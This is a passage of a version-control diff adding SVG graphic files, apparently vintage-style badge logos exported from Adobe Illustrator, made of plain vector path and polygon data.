<path fill="#2B292A" d="M116.4,11.7c-1.1-0.2-2.3-0.3-3.5-0.5l-0.2,2c1.1,0.1,2.3,0.3,3.4,0.5L116.4,11.7z"/>
|
||||
<path fill="#2B292A" d="M32.6,62.8c0.4-1.1,0.8-2.1,1.2-3.2l-1.9-0.7c-0.4,1.1-0.8,2.2-1.2,3.3L32.6,62.8z"/>
|
||||
<path fill="#2B292A" d="M95.7,13.1l-0.2-2c-1.2,0.1-2.3,0.2-3.5,0.4l0.3,2C93.4,13.3,94.6,13.2,95.7,13.1z"/>
|
||||
<path fill="#2B292A" d="M82.4,15.6l-0.5-1.9c-1.1,0.3-2.2,0.7-3.3,1l0.6,1.9C80.2,16.2,81.3,15.9,82.4,15.6z"/>
|
||||
<path fill="#2B292A" d="M39.9,47.5l-1.7-1.1c-0.6,1-1.2,2-1.8,3l1.7,1C38.7,49.5,39.3,48.5,39.9,47.5z"/>
|
||||
<path fill="#2B292A" d="M36.5,53.4l-1.8-0.9c-0.5,1-1,2.1-1.5,3.1l1.8,0.8C35.5,55.5,36,54.5,36.5,53.4z"/>
|
||||
<path fill="#2B292A" d="M49.3,156.5c0.8,0.8,1.7,1.6,2.5,2.4l1.3-1.5c-0.8-0.8-1.7-1.5-2.5-2.3L49.3,156.5z"/>
|
||||
<path fill="#2B292A" d="M123.2,13.1c-1.1-0.3-2.3-0.6-3.4-0.8l-0.4,2c1.1,0.2,2.2,0.5,3.3,0.8L123.2,13.1z"/>
|
||||
<path fill="#2B292A" d="M129.9,15.2c-1.1-0.4-2.2-0.8-3.3-1.1L126,16c1.1,0.3,2.2,0.7,3.2,1.1L129.9,15.2z"/>
|
||||
<path fill="#2B292A" d="M43.8,42l-1.6-1.2c-0.7,0.9-1.4,1.9-2.1,2.8l1.6,1.1C42.4,43.8,43.1,42.9,43.8,42z"/>
|
||||
<path fill="#2B292A" d="M102.5,12.8l0-2c-1.2,0-2.3,0-3.5,0.1l0.1,2C100.2,12.8,101.4,12.8,102.5,12.8z"/>
|
||||
<path fill="#2B292A" d="M109.4,10.9c-1.2-0.1-2.3-0.1-3.5-0.2l0,2c1.1,0,2.3,0.1,3.4,0.2L109.4,10.9z"/>
|
||||
<path fill="#2B292A" d="M58.2,27.7L57,26c-0.9,0.7-1.8,1.4-2.7,2.2l1.3,1.5C56.4,29,57.3,28.3,58.2,27.7z"/>
|
||||
<path fill="#2B292A" d="M148.4,24.8c-0.9-0.7-1.9-1.3-2.9-2l-1.1,1.7c0.9,0.6,1.9,1.3,2.8,1.9L148.4,24.8z"/>
|
||||
<path fill="#2B292A" d="M153.9,29.2c-0.9-0.8-1.8-1.5-2.7-2.2l-1.2,1.6c0.9,0.7,1.8,1.4,2.6,2.2L153.9,29.2z"/>
|
||||
<path fill="#2B292A" d="M142.5,21.1c-1-0.6-2-1.2-3.1-1.7l-0.9,1.8c1,0.5,2,1.1,3,1.6L142.5,21.1z"/>
|
||||
<path fill="#2B292A" d="M163.6,39.2c-0.7-0.9-1.5-1.8-2.3-2.7l-1.5,1.3c0.8,0.8,1.5,1.7,2.2,2.6L163.6,39.2z"/>
|
||||
<path fill="#2B292A" d="M157.5,35.3l1.4-1.4c-0.3-0.3-0.5-0.6-0.8-0.8c-0.5-0.5-1.1-1.1-1.7-1.6l-1.4,1.5c0.5,0.5,1.1,1,1.6,1.6
|
||||
C157,34.8,157.2,35.1,157.5,35.3z"/>
|
||||
<path fill="#2B292A" d="M136.3,17.8c-1-0.5-2.1-1-3.2-1.4l-0.8,1.9c1,0.4,2.1,0.9,3.1,1.4L136.3,17.8z"/>
|
||||
<path fill="#2B292A" d="M63.8,23.8l-1.1-1.7c-1,0.6-2,1.3-2.9,1.9l1.1,1.7C61.9,25,62.8,24.4,63.8,23.8z"/>
|
||||
<path fill="#2B292A" d="M75.9,17.8l-0.7-1.9c-1.1,0.4-2.2,0.9-3.2,1.3l0.8,1.8C73.8,18.6,74.9,18.2,75.9,17.8z"/>
|
||||
<path fill="#2B292A" d="M167.7,44.8c-0.6-1-1.3-1.9-2-2.9l-1.6,1.2c0.7,0.9,1.3,1.8,2,2.8L167.7,44.8z"/>
|
||||
<path fill="#2B292A" d="M53,32l-1.4-1.5c-0.9,0.8-1.7,1.6-2.5,2.4l1.4,1.4C51.3,33.5,52.1,32.7,53,32z"/>
|
||||
<path fill="#2B292A" d="M69.7,20.5l-0.9-1.8c-1,0.5-2.1,1.1-3.1,1.6l1,1.8C67.7,21.5,68.7,21,69.7,20.5z"/>
|
||||
<path fill="#2B292A" d="M48.1,36.8l-1.5-1.4c-0.8,0.9-1.6,1.7-2.3,2.6l1.5,1.3C46.6,38.5,47.4,37.6,48.1,36.8z"/>
|
||||
<path fill="#2B292A" d="M89,14l-0.4-2c-1.1,0.2-2.3,0.5-3.4,0.7l0.5,2C86.8,14.5,87.9,14.2,89,14z"/>
|
||||
<path fill="#2B292A" d="M44.6,151.4c0.7,0.9,1.5,1.8,2.3,2.6l1.5-1.4c-0.8-0.8-1.5-1.7-2.3-2.5L44.6,151.4z"/>
|
||||
<path fill="#2B292A" d="M35.2,133l-1.8,0.8c0.5,1.1,1,2.1,1.5,3.1l1.8-0.9C36.2,135,35.7,134,35.2,133z"/>
|
||||
<path fill="#2B292A" d="M36.6,140c0.6,1,1.2,2,1.8,3l1.7-1.1c-0.6-1-1.2-1.9-1.8-2.9L36.6,140z"/>
|
||||
<path fill="#2B292A" d="M32.7,126.7l-1.9,0.7c0.4,1.1,0.8,2.2,1.2,3.3l1.9-0.7C33.4,128.8,33,127.7,32.7,126.7z"/>
|
||||
<path fill="#2B292A" d="M40.3,145.9c0.7,0.9,1.4,1.9,2.1,2.8l1.6-1.2c-0.7-0.9-1.4-1.8-2-2.7L40.3,145.9z"/>
|
||||
<path fill="#2B292A" d="M20.2,126c4,13.8,11.4,26.5,21.8,36.9c16.2,16.2,37.8,25.2,60.8,25.2h1.3c23,0,44.5-8.9,60.8-25.2
|
||||
c10.4-10.4,17.9-23.1,21.8-36.9h20.2l-6.5-31.1l6.5-31.7h-20.1c-4-13.8-11.4-26.5-21.8-36.9c-16.2-16.2-37.8-25.2-60.8-25.2h-1.3
|
||||
c-23,0-44.5,8.9-60.8,25.2C31.6,36.7,24.2,49.4,20.2,63.2H0l7.5,30.6L0,126H20.2z M11.1,93.8l-5-20.1h11.8h1.7h1.8h6.3h2h155.8
|
||||
h1.8h1.7h12.2l-4.4,21.3l4.1,19.7h-11.8h-1.7h-1.7H29.6h-2h-6.3h-1.7h-1.7H6.2L11.1,93.8z M102.8,4.6h1.3
|
||||
c22,0,42.7,8.6,58.3,24.2c9.8,9.8,16.8,21.6,20.7,34.5h-6.5c-0.3-1-0.7-2-1-2.9l-1.9,0.7c0.3,0.7,0.5,1.5,0.8,2.2H23.8
|
||||
c3.9-12.9,10.9-24.7,20.7-34.5C60.1,13.1,80.8,4.6,102.8,4.6z M22.9,66.6h6.4h2.1h152.7h1.8h1.8h15l-1,5h-12.9h-1.8h-1.8H21.8H20
|
||||
h-1.8H5.6l-1.2-5h14.9h1.8H22.9z M104.2,184.6h-1.3c-22,0-42.7-8.6-58.3-24.2c-9.8-9.8-16.8-21.6-20.7-34.5h159.3
|
||||
c-3.9,12.9-10.9,24.7-20.7,34.5C146.9,176,126.2,184.6,104.2,184.6z M184.1,122.5h-6.4h-2.1H31.4h-2.1h-6.4h-1.8h-1.8h-15
|
||||
l1.4-5.9h12.4h1.8h1.8h6.3h2H177h2h6.3h1.8h1.8h12.5l1.2,5.9h-15h-1.8H184.1z"/>
|
||||
<path fill="#2B292A" d="M91.1,55.1c8.9-1,10.6-3.4,12.4-5.3c1.8,1.9,3.5,4.3,12.4,5.3c21,2.3,15.6-22.7,15.6-22.7
|
||||
c-0.2,4.3-8.2,8-15.6,0.9c-4.7-4.5-9.5-3.3-12.4-1.8c-2.9-1.5-7.7-2.7-12.4,1.8c-7.4,7.1-15.5,3.4-15.6-0.9
|
||||
C75.4,32.4,70.1,57.4,91.1,55.1z"/>
|
||||
</g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M187.5,298.6v-17.2l-83.1-48l-0.9-0.5l-84,48.5v17.2c-5.3,0.4-10.7,0.9-16,1.4l-1.7,0.2l5.7,60.1l1.7-0.2
|
||||
c3.4-0.3,6.9-0.6,10.3-0.9v19.2l83.1,48l0.9,0.5l84-48.5v-19.2c3.4,0.3,6.9,0.6,10.3,0.9l1.7,0.2l5.7-60.1l-1.7-0.2
|
||||
C198.1,299.4,192.8,299,187.5,298.6z M31.6,288.4l71.9-41.5l71.9,41.5v9.3c-47.8-3.2-96-3.2-143.8,0V288.4z M104,244.9l-0.5-0.3
|
||||
l-73.9,42.7v10.6c-2.2,0.2-4.4,0.3-6.6,0.5v-14.9l80.5-46.5l80.5,46.5v14.9c-2.2-0.2-4.4-0.3-6.6-0.5v-10.6L104,244.9z
|
||||
M184,376.4l-80.5,46.5L23,376.4v-17.5c2.2-0.2,4.4-0.3,6.6-0.5v14.2l73.4,42.4l0.5,0.3l73.9-42.7v-14.2c2.2,0.2,4.4,0.3,6.6,0.5
|
||||
V376.4z M176.4,358.4h-1v13l-71.9,41.5l-71.9-41.5v-13h-1h-0.8c0.3,0,0.6,0,0.8-0.1c0.3,0,0.7-0.1,1-0.1c47.8-3.4,96-3.4,143.8,0
|
||||
C175.7,358.3,176,358.3,176.4,358.4c0.3,0,0.6,0,0.8,0H176.4z M197.9,340.1l-1.6,16.4c-3-0.3-5.9-0.5-8.9-0.8
|
||||
c-0.6,0-1.1-0.1-1.7-0.1c-0.6,0-1.1-0.1-1.7-0.1c-2.2-0.2-4.4-0.3-6.6-0.5c-0.3,0-0.7-0.1-1-0.1c-0.3,0-0.7-0.1-1-0.1
|
||||
c-23.9-1.7-47.9-2.6-71.9-2.6c-24,0-48,0.9-71.9,2.6c-0.3,0-0.7,0.1-1,0.1c-0.3,0-0.7,0.1-1,0.1c-2.2,0.2-4.4,0.3-6.6,0.5
|
||||
c-0.6,0-1.1,0.1-1.7,0.1c-0.6,0-1.1,0.1-1.7,0.1c-3,0.2-5.9,0.5-8.9,0.8l-1.6-16.4l-3.5-36.9c1.2-0.1,2.3-0.2,3.5-0.3
|
||||
c3.5-0.3,7-0.6,10.4-0.9c0.6,0,1.1-0.1,1.7-0.1c0.6,0,1.1-0.1,1.7-0.1c1.6-0.1,3.1-0.2,4.7-0.4c0.6,0,1.3-0.1,1.9-0.1v0.1h1h1
|
||||
v-0.3c47.8-3.2,96-3.2,143.8,0v0.3h1h1v-0.1c0.6,0,1.3,0.1,1.9,0.1c1.6,0.1,3.2,0.2,4.7,0.4c0.6,0,1.1,0.1,1.7,0.1
|
||||
c0.6,0,1.1,0.1,1.7,0.1c3.5,0.3,7,0.6,10.4,0.9c1.2,0.1,2.3,0.2,3.5,0.3L197.9,340.1z"/>
|
||||
<polygon fill="#2B292A" points="122.8,281.9 105.4,256.9 103.5,254.1 101.5,256.9 84.2,281.9 87.8,291.3 119.2,291.3 "/>
|
||||
<polygon fill="#2B292A" points="70.5,280.5 68.6,276.7 66.7,280.5 62.6,281.1 65.6,284.1 64.9,288.3 68.6,286.3 72.4,288.3
|
||||
71.6,284.1 74.7,281.1 "/>
|
||||
<polygon fill="#2B292A" points="134.6,288.3 138.4,286.3 142.1,288.3 141.4,284.1 144.4,281.1 140.2,280.5 138.4,276.7
|
||||
136.5,280.5 132.3,281.1 135.3,284.1 "/>
|
||||
<polygon fill="#2B292A" points="24.1,323.3 23,324.4 21.2,326.2 19.5,327.9 18.1,329.3 19.5,330.8 21.2,332.5 23,334.2
|
||||
24.1,335.3 29.6,329.8 30.1,329.3 29.6,328.8 "/>
|
||||
<polygon fill="#2B292A" points="185.7,327 184,325.3 182,323.3 177.4,327.9 176.4,329 176,329.3 176.4,329.7 177.4,330.7
|
||||
182,335.3 184,333.3 185.7,331.6 187.5,329.9 188,329.3 187.5,328.7 "/>
|
||||
<g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M41.2,348.1c-1.3-14-2.6-27.9-4-41.9c3.4-0.3,6.8-0.6,10.2-0.9c2.4-0.2,4.4-0.2,6.1,0.1
|
||||
c1.7,0.2,3.2,0.8,4.5,1.5c1.3,0.8,2.3,1.9,3,3.3c0.7,1.4,1.1,3.2,1.2,5.3c0.2,2.6-0.1,4.8-0.8,6.5c-0.7,1.7-2,3-3.8,3.9
|
||||
c2.5,6.8,4.9,13.5,7.2,20.3c-2.6,0.2-5.1,0.3-7.7,0.5c-2.1-6.3-4.3-12.5-6.5-18.8c-1.2,0.1-2.3,0.2-3.5,0.3
|
||||
c0.5,6.4,1.1,12.8,1.6,19.1C46.3,347.6,43.7,347.9,41.2,348.1z M46.8,323.4c0.6-0.1,1.3-0.1,1.9-0.2c2.3-0.2,4-0.8,4.9-1.8
|
||||
c0.9-1,1.3-2.7,1.1-5c-0.2-2.2-0.7-3.8-1.6-4.7c-0.9-0.9-2.6-1.3-4.9-1.1c-0.8,0.1-1.6,0.1-2.4,0.2
|
||||
C46.1,315,46.5,319.2,46.8,323.4z"/>
|
||||
<path fill="#2B292A" d="M70,346c-0.7-14-1.4-28-2.1-42c6.2-0.3,12.5-0.6,18.7-0.7c0,1.8,0.1,3.6,0.1,5.4
|
||||
c-3.5,0.1-7,0.2-10.5,0.3c0.2,4,0.3,8,0.5,12.1c2.7-0.1,5.4-0.2,8.2-0.3c0,1.8,0.1,3.6,0.1,5.4c-2.7,0.1-5.4,0.2-8.1,0.3
|
||||
c0.2,4.6,0.4,9.2,0.5,13.9c3.4-0.1,6.8-0.2,10.2-0.3c0,1.8,0.1,3.5,0.1,5.3C81.8,345.5,75.9,345.7,70,346z"/>
|
||||
<path fill="#2B292A" d="M96.2,345.2c-0.1-12.1-0.3-24.3-0.4-36.4c-2.5,0-5,0.1-7.4,0.1c0-1.9-0.1-3.8-0.1-5.7
|
||||
c7.6-0.2,15.3-0.2,22.9-0.1c0,1.9,0,3.8-0.1,5.7c-2.4,0-4.8,0-7.2,0c0,12.1,0,24.3,0,36.4C101.4,345.2,98.8,345.2,96.2,345.2z"
|
||||
/>
|
||||
<path fill="#2B292A" d="M114.1,345.2c0.2-14,0.4-28,0.6-42c3.4,0.1,6.8,0.1,10.3,0.2c2.4,0.1,4.4,0.3,6.1,0.8
|
||||
c1.7,0.4,3.1,1.1,4.3,2c1.2,0.9,2.1,2.1,2.6,3.6c0.5,1.5,0.8,3.3,0.7,5.4c-0.1,2.6-0.7,4.8-1.5,6.4c-0.9,1.6-2.3,2.8-4.2,3.5
|
||||
c1.7,7,3.4,14,5,21c-2.6-0.1-5.1-0.2-7.7-0.3c-1.4-6.5-2.9-12.9-4.4-19.4c-1.2,0-2.3-0.1-3.5-0.1c-0.2,6.4-0.3,12.8-0.5,19.2
|
||||
C119.2,345.3,116.7,345.3,114.1,345.2z M122.4,321.3c0.6,0,1.3,0,1.9,0.1c2.4,0.1,4-0.4,5.1-1.3c1-0.9,1.6-2.6,1.7-4.9
|
||||
c0.1-2.2-0.3-3.9-1.1-4.9c-0.8-1-2.4-1.5-4.8-1.6c-0.8,0-1.6,0-2.4-0.1C122.7,312.9,122.5,317.1,122.4,321.3z"/>
|
||||
<path fill="#2B292A" d="M154.4,347.6c-4.3-0.3-7.3-1.7-9.1-4.2c-1.7-2.5-2.5-6-2.2-10.5c0.3-5.2,0.6-10.3,0.9-15.5
|
||||
c0.1-2.2,0.5-4.1,1-5.8c0.5-1.6,1.3-3,2.4-4.1c1.1-1.1,2.5-2,4.2-2.4c1.7-0.5,3.7-0.6,6.1-0.5c4.6,0.4,7.8,1.8,9.6,4.3
|
||||
c1.8,2.5,2.5,6,2,10.4c-0.5,5.2-1,10.3-1.5,15.5c-0.2,2.2-0.6,4.1-1.2,5.7c-0.6,1.6-1.4,3-2.5,4.1c-1.1,1.1-2.4,1.9-4,2.4
|
||||
C158.5,347.6,156.6,347.8,154.4,347.6z M152.9,341.4c0.5,0.3,1.2,0.4,1.9,0.5c0.7,0.1,1.4,0,1.9-0.2c0.5-0.2,1-0.4,1.3-0.8
|
||||
c0.3-0.3,0.6-0.8,0.9-1.3c0.2-0.6,0.4-1.1,0.5-1.7c0.1-0.6,0.2-1.2,0.3-2c0.5-6.3,1-12.7,1.6-19c0.1-1,0.1-1.9,0-2.5
|
||||
c0-0.7-0.2-1.3-0.5-2c-0.3-0.6-0.7-1.1-1.3-1.5c-0.6-0.3-1.4-0.6-2.3-0.6c-1-0.1-1.8,0-2.4,0.3c-0.7,0.2-1.2,0.7-1.5,1.2
|
||||
c-0.3,0.6-0.6,1.2-0.7,1.9c-0.2,0.7-0.3,1.5-0.3,2.5c-0.4,6.4-0.9,12.7-1.3,19.1c-0.1,0.8-0.1,1.5-0.1,2.1
|
||||
c0,0.6,0.1,1.2,0.2,1.7c0.1,0.6,0.4,1.1,0.6,1.4C152,340.9,152.4,341.2,152.9,341.4z"/>
|
||||
</g>
|
||||
</g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M62.6,368.6H64v3.5c-1,0.7-2.4,1.2-3.7,1.2c-2.8,0-5-2.1-5-4.8c0-2.7,2.2-4.8,5.1-4.8
|
||||
c1.4,0,2.7,0.5,3.7,1.3l-0.9,1.2c-0.7-0.7-1.8-1.1-2.8-1.1c-1.9,0-3.5,1.5-3.5,3.4c0,1.9,1.5,3.4,3.5,3.4c0.7,0,1.5-0.2,2.2-0.7
|
||||
V368.6z"/>
|
||||
<path fill="#2B292A" d="M70.3,371.9c1.6,0,2.5-1,2.5-2.6v-5.6h1.6v5.6c0,2.5-1.6,4-4.1,4s-4.2-1.5-4.2-4v-5.6h1.6v5.6
|
||||
C67.7,370.9,68.7,371.9,70.3,371.9z"/>
|
||||
<path fill="#2B292A" d="M82.6,371.1h-4.8l-0.9,2.2h-1.7l4.2-9.5H81l4.2,9.5h-1.7L82.6,371.1z M82,369.7l-1.8-4.2l-1.8,4.2H82z"
|
||||
/>
|
||||
<path fill="#2B292A" d="M92.5,373.2l-1.7-2.9c-0.1,0-0.3,0-0.4,0h-2.3v2.9h-1.6v-9.5h3.9c2.4,0,3.8,1.2,3.8,3.3
|
||||
c0,1.5-0.7,2.6-2,3.1l2.1,3.2H92.5z M90.3,368.9c1.5,0,2.3-0.6,2.3-1.9c0-1.3-0.8-1.9-2.3-1.9h-2.3v3.8H90.3z"/>
|
||||
<path fill="#2B292A" d="M102.4,371.1h-4.8l-0.9,2.2h-1.7l4.2-9.5h1.6l4.2,9.5h-1.7L102.4,371.1z M101.8,369.7l-1.8-4.2l-1.8,4.2
|
||||
H101.8z"/>
|
||||
<path fill="#2B292A" d="M107.9,363.7l5.1,6.8v-6.8h1.6v9.5H113l-5.1-6.8v6.8h-1.6v-9.5H107.9z"/>
|
||||
<path fill="#2B292A" d="M123.6,363.7v1.4h-3v8.1H119v-8.1h-3v-1.4H123.6z"/>
|
||||
<path fill="#2B292A" d="M131.8,363.7v1.4h-5.2v2.6h4.7v1.4h-4.7v2.6h5.4v1.4h-7v-9.5H131.8z"/>
|
||||
<path fill="#2B292A" d="M140.7,363.7v1.4h-5.2v2.6h4.7v1.4h-4.7v2.6h5.4v1.4h-7v-9.5H140.7z"/>
|
||||
<path fill="#2B292A" d="M151.7,368.5c0,2.7-2.1,4.8-5,4.8h-3.9v-9.5h3.9C149.6,363.7,151.7,365.7,151.7,368.5z M150.1,368.5
|
||||
c0-1.9-1.5-3.3-3.3-3.3h-2.3v6.6h2.3C148.6,371.8,150.1,370.4,150.1,368.5z"/>
|
||||
</g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M99.3,381.1v1.1h-3.8v1.9h3.4v1h-3.4v1.9h3.9v1.1h-5.1v-7H99.3z"/>
|
||||
<path fill="#2B292A" d="M103.1,382.2c-0.7,0-1.1,0.3-1.1,0.7c0,1.5,3.8,0.7,3.8,3.2c0,1.2-1.1,2-2.6,2c-1.1,0-2.1-0.4-2.9-1.1
|
||||
l0.5-1c0.7,0.7,1.6,1,2.4,1c0.8,0,1.3-0.3,1.3-0.8c0-1.6-3.8-0.7-3.8-3.2c0-1.2,1-1.9,2.5-1.9c0.9,0,1.8,0.3,2.4,0.7l-0.5,1
|
||||
C104.4,382.4,103.6,382.2,103.1,382.2z"/>
|
||||
<path fill="#2B292A" d="M111.9,381.1v1.1h-2.2v5.9h-1.2v-5.9h-2.2v-1.1H111.9z"/>
|
||||
<path fill="#2B292A" d="M113.1,387.5c0,0.4-0.3,0.7-0.6,0.7s-0.6-0.3-0.6-0.7c0-0.4,0.3-0.6,0.6-0.6S113.1,387.1,113.1,387.5z"
|
||||
/>
|
||||
<path fill="#2B292A" d="M94.9,393.1v7h-1.2v-5.9h-1.5v-1.1H94.9z"/>
|
||||
<path fill="#2B292A" d="M99.9,399.1c1.3,0,2-1,1.9-2.5c-0.4,0.7-1,1-1.9,1c-1.4,0-2.2-0.9-2.2-2.2c0-1.4,1-2.3,2.4-2.3
|
||||
c1.8,0,2.8,1.3,2.8,3.4c0,2.2-1.2,3.7-3,3.7c-0.7,0-1.5-0.2-2.1-0.5l0.5-0.9C98.8,399,99.4,399.1,99.9,399.1z M98.8,395.4
|
||||
c0,0.8,0.5,1.3,1.4,1.3c0.9,0,1.5-0.6,1.5-1.3c0-0.6-0.4-1.3-1.4-1.3C99.4,394,98.8,394.5,98.8,395.4z"/>
|
||||
<path fill="#2B292A" d="M106.1,399.1c1.3,0,2-1,1.9-2.5c-0.4,0.7-1,1-1.9,1c-1.4,0-2.2-0.9-2.2-2.2c0-1.4,1-2.3,2.4-2.3
|
||||
c1.8,0,2.8,1.3,2.8,3.4c0,2.2-1.2,3.7-3,3.7c-0.7,0-1.5-0.2-2.1-0.5l0.5-0.9C105,399,105.6,399.1,106.1,399.1z M105,395.4
|
||||
c0,0.8,0.5,1.3,1.4,1.3c0.9,0,1.5-0.6,1.5-1.3c0-0.6-0.4-1.3-1.4-1.3C105.6,394,105,394.5,105,395.4z"/>
|
||||
<path fill="#2B292A" d="M115.4,393.1v0.9l-2.9,6.1h-1.2l2.9-5.9h-3l0,1h-1v-2H115.4z"/>
|
||||
</g>
|
||||
<g>
|
||||
<path fill="#FFFFFF" d="M98.6,286.7v-18.2h4.2c1,0,1.8,0.1,2.5,0.2c0.7,0.2,1.3,0.4,1.8,0.8c0.5,0.4,0.9,0.9,1.1,1.5
|
||||
c0.3,0.6,0.4,1.4,0.4,2.3c0,1.1-0.2,2.1-0.5,2.8c-0.3,0.7-0.9,1.3-1.7,1.6l2.5,9h-3.3l-2.2-8.3h-1.5v8.3H98.6z M101.9,276.3h0.8
|
||||
c1,0,1.7-0.2,2.1-0.6c0.4-0.4,0.6-1.1,0.6-2.1c0-1-0.2-1.7-0.5-2.1c-0.4-0.4-1-0.6-2-0.6h-1V276.3z"/>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
<g id="DESIGNED_BY_FREEPIK">
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
<g>
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 40 KiB |
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<!-- Generator: Adobe Illustrator 18.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
|
||||
viewBox="0 0 205.3 195.9" enable-background="new 0 0 205.3 195.9" xml:space="preserve">
|
||||
<g id="BACKGROUND" display="none">
|
||||
<rect x="-531.5" y="-528.8" display="inline" fill="#FFFFFF" width="800" height="800"/>
|
||||
</g>
|
||||
<g id="OBJECTS">
|
||||
<g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M186.6,66.8V49.6l-83.1-48l-0.9-0.5l-84,48.5v17.2c-5.3,0.4-10.7,0.9-16,1.4L1,68.4l5.7,60.1l1.7-0.2
|
||||
c3.4-0.3,6.9-0.6,10.3-0.9v19.2l83.1,48l0.9,0.5l84-48.5v-19.2c3.4,0.3,6.9,0.6,10.3,0.9l1.7,0.2l5.7-60.1l-1.7-0.2
|
||||
C197.3,67.7,192,67.2,186.6,66.8z M30.8,56.6l71.9-41.5l71.9,41.5v9.3c-47.8-3.2-96-3.2-143.8,0V56.6z M103.2,13.1l-0.5-0.3
|
||||
L28.8,55.5v10.6c-2.2,0.2-4.4,0.3-6.6,0.5V51.6l80.5-46.5l80.5,46.5v14.9c-2.2-0.2-4.4-0.3-6.6-0.5V55.5L103.2,13.1z
|
||||
M183.2,144.6l-80.5,46.5l-80.5-46.5v-17.5c2.2-0.2,4.4-0.3,6.6-0.5v14.2l73.4,42.4l0.5,0.3l73.9-42.7v-14.2
|
||||
c2.2,0.2,4.4,0.3,6.6,0.5V144.6z M175.5,126.6h-1v13l-71.9,41.5l-71.9-41.5v-13h-1h-0.8c0.3,0,0.6,0,0.8-0.1c0.3,0,0.7-0.1,1-0.1
|
||||
c47.8-3.4,96-3.4,143.8,0C174.9,126.5,175.2,126.5,175.5,126.6c0.3,0,0.6,0,0.8,0H175.5z M197.1,108.3l-1.6,16.4
|
||||
c-3-0.3-5.9-0.5-8.9-0.8c-0.6,0-1.1-0.1-1.7-0.1c-0.6,0-1.1-0.1-1.7-0.1c-2.2-0.2-4.4-0.3-6.6-0.5c-0.3,0-0.7-0.1-1-0.1
|
||||
c-0.3,0-0.7-0.1-1-0.1c-23.9-1.7-47.9-2.6-71.9-2.6c-24,0-48,0.9-71.9,2.6c-0.3,0-0.7,0.1-1,0.1c-0.3,0-0.7,0.1-1,0.1
|
||||
c-2.2,0.2-4.4,0.3-6.6,0.5c-0.6,0-1.1,0.1-1.7,0.1c-0.6,0-1.1,0.1-1.7,0.1c-3,0.2-5.9,0.5-8.9,0.8l-1.6-16.4L4.7,71.5
|
||||
c1.2-0.1,2.3-0.2,3.5-0.3c3.5-0.3,7-0.6,10.4-0.9c0.6,0,1.1-0.1,1.7-0.1c0.6,0,1.1-0.1,1.7-0.1c1.6-0.1,3.1-0.2,4.7-0.4
|
||||
c0.6,0,1.3-0.1,1.9-0.1v0.1h1h1v-0.3c47.8-3.2,96-3.2,143.8,0v0.3h1h1v-0.1c0.6,0,1.3,0.1,1.9,0.1c1.6,0.1,3.2,0.2,4.7,0.4
|
||||
c0.6,0,1.1,0.1,1.7,0.1c0.6,0,1.1,0.1,1.7,0.1c3.5,0.3,7,0.6,10.4,0.9c1.2,0.1,2.3,0.2,3.5,0.3L197.1,108.3z"/>
|
||||
<polygon fill="#2B292A" points="121.9,50.2 104.6,25.1 102.7,22.3 100.7,25.1 83.4,50.2 87,59.6 118.3,59.6 "/>
|
||||
<polygon fill="#2B292A" points="69.6,48.8 67.8,45 65.9,48.8 61.7,49.4 64.7,52.3 64,56.5 67.8,54.5 71.5,56.5 70.8,52.3
|
||||
73.8,49.4 "/>
|
||||
<polygon fill="#2B292A" points="133.8,56.5 137.5,54.5 141.3,56.5 140.6,52.3 143.6,49.4 139.4,48.8 137.5,45 135.7,48.8
|
||||
131.5,49.4 134.5,52.3 "/>
|
||||
<polygon fill="#2B292A" points="23.3,91.6 22.1,92.7 20.4,94.4 18.7,96.1 17.2,97.6 18.7,99 20.4,100.7 22.1,102.4 23.3,103.6
|
||||
28.8,98.1 29.3,97.6 28.8,97.1 "/>
|
||||
<polygon fill="#2B292A" points="184.9,95.3 183.2,93.5 181.2,91.6 176.5,96.2 175.5,97.2 175.2,97.6 175.5,97.9 176.5,98.9
|
||||
181.2,103.6 183.2,101.6 184.9,99.9 186.6,98.1 187.2,97.6 186.6,97 "/>
|
||||
<g>
|
||||
<g>
|
||||
<path fill="#2B292A" d="M40.3,116.4c-1.3-14-2.6-27.9-4-41.9c3.4-0.3,6.8-0.6,10.2-0.9c2.4-0.2,4.4-0.2,6.1,0.1
|
||||
c1.7,0.2,3.2,0.8,4.5,1.5c1.3,0.8,2.3,1.9,3,3.3c0.7,1.4,1.1,3.2,1.2,5.3c0.2,2.6-0.1,4.8-0.8,6.5c-0.7,1.7-2,3-3.8,3.9
|
||||
c2.5,6.8,4.9,13.5,7.2,20.3c-2.6,0.2-5.1,0.3-7.7,0.5c-2.1-6.3-4.3-12.5-6.5-18.8c-1.2,0.1-2.3,0.2-3.5,0.3
|
||||
c0.5,6.4,1.1,12.8,1.6,19.1C45.4,115.9,42.9,116.1,40.3,116.4z M46,91.7c0.6-0.1,1.3-0.1,1.9-0.2c2.3-0.2,4-0.8,4.9-1.8
|
||||
c0.9-1,1.3-2.7,1.1-5c-0.2-2.2-0.7-3.8-1.6-4.7c-0.9-0.9-2.6-1.3-4.9-1.1c-0.8,0.1-1.6,0.1-2.4,0.2
|
||||
C45.3,83.2,45.6,87.5,46,91.7z"/>
|
||||
<path fill="#2B292A" d="M69.1,114.3c-0.7-14-1.4-28-2.1-42c6.2-0.3,12.5-0.6,18.7-0.7c0,1.8,0.1,3.6,0.1,5.4
|
||||
c-3.5,0.1-7,0.2-10.5,0.3c0.2,4,0.3,8,0.5,12.1c2.7-0.1,5.4-0.2,8.2-0.3c0,1.8,0.1,3.6,0.1,5.4c-2.7,0.1-5.4,0.2-8.1,0.3
|
||||
c0.2,4.6,0.4,9.2,0.5,13.9c3.4-0.1,6.8-0.2,10.2-0.3c0,1.8,0.1,3.5,0.1,5.3C81,113.7,75,114,69.1,114.3z"/>
|
